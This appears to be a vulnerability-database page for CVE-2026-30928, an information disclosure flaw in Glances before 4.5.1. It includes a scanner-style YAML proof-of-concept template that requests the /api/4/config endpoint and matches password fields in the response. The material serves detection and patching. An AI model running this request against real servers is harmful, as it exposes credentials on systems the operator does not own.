CVE-2026-30928: Glances - Information Disclosure

2026-03-25 Glances PoC Public

Description

Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.

PoC

id: CVE-2026-30928

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
  impact: |
    Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
  remediation: |
    Upgrade to version 4.5.1 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-30928
    epss-score: 0.01657
    epss-percentile: 0.75407
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,glances,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/config"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"password": "[A-Za-z0-9_@.#&+-;$]*",'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100801aad5f12986d9e7307b5f8d1ae9bb3d635443d9f14dc8e75d32a13f2769a15022100c41f4f5effad14e4f03fae420521b40e8be7e428920d3ee23e4e70a55fe7529e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities